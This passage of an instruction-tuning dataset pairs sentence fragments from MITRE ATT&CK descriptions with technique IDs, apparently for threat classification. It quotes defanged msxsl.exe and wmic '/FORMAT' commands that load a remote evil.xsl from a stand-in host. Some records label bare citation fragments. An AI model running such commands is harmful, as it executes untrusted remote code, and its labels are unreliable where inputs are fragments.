the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With sufficient permissions, adversaries can modify domain policy settings.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With sufficient permissions, adversaries can modify domain policy settings. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation:", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support complex operations, the XSL standard includes support for embedded scripting in various languages.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support complex operations, the XSL standard includes support for embedded scripting in various languages. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft XSLT Script Mar 2017)", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft XSLT Script Mar 2017) ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Penetration Testing Lab MSXSL July 2017)", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Penetration Testing Lab MSXSL July 2017) ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Reaqta MSXSL Spearphishing MAR 2018)", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Reaqta MSXSL Spearphishing MAR 2018) ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the XSL file is valid XML, the adversary may call the same XSL file twice.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the XSL file is valid XML, the adversary may call the same XSL file twice. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* <code>msxsl.exe", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * <code>msxsl.exe ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation:", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LOLBAS Wmic)", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LOLBAS Wmic) ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool.", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n*", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n*", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d</code>", "output": "T1220", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d</code> ### Response: T1220."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available technical databases for information about victims that can be used during targeting.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available technical databases for information about victims that can be used during targeting. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigitalShadows CDN)(Citation: Shodan)", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigitalShadows CDN)(Citation: Shodan) ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different open databases depending on what information they seek to gather.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different open databases depending on what information they seek to gather. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search within public scan databases for information about victims that can be used during targeting.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search within public scan databases for information about victims that can be used during targeting. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search scan databases to gather actionable information.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search scan databases to gather actionable information. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources and lookup tools to harvest information from these services.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources and lookup tools to harvest information from these services. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches.", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1596.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1596.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may set files and directories to be hidden to evade detection mechanisms.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may set files and directories to be hidden to evade detection mechanisms. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS). ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware).", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users must specifically change settings to have these files viewable.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users must specifically change settings to have these files viewable. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, users can mark specific files as hidden by using the attrib.exe binary.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, users can mark specific files as hidden by using the attrib.exe binary. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", "output": "T1578", "text": 